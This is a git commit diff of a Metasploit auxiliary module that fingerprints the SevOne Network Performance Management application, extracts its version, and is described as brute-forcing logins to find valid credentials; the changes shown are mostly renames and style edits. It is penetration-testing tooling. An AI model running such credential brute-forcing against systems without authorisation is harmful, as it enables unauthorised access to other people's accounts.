Update sevone_enum.rb

New updates as per review comments
unstable
Karn Ganeshen 2013-06-08 02:28:09 +05:30
parent 1ca8fd2cf1
commit 74bddcf339
1 changed files with 83 additions and 87 deletions

View File

@ -17,7 +17,7 @@ class Metasploit3 < Msf::Auxiliary
def initialize(info={})
super(update_info(info,
'Name' => 'SevOne Network Performance Management System Application Version Enumeration and Brute Force Login Utility',
'Name' => 'SevOne Network Performance Management Application Brute Force Login Utility',
'Description' => %{
This module scans for SevOne Network Performance Management System Application, finds its version,
and performs login brute force to identify valid credentials.},
@ -25,7 +25,6 @@ class Metasploit3 < Msf::Auxiliary
[
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
],
'Version' => '1.0',
'DisclosureDate' => 'June 07, 2013',
'License' => MSF_LICENSE
))
@ -39,7 +38,7 @@ class Metasploit3 < Msf::Auxiliary
end
def run_host(ip)
if not is_app_sevone?
unless is_app_sevone?
print_error("Application does not appear to be SevOne. Module will not continue.")
return
end
@ -54,15 +53,12 @@ class Metasploit3 < Msf::Auxiliary
# What's the point of running this module if the app actually isn't SevOne?
#
def is_app_sevone?
res = send_request_cgi(
{
'uri' => '/doms/about/index.php',
'method' => 'GET'
})
# should include version number
if (res and res.code.to_i == 200 and res.headers['Set-Cookie'].include?('SEVONE'))
version_key = /Version: <strong>(.+)<\/strong>/
version = res.body.scan(version_key).flatten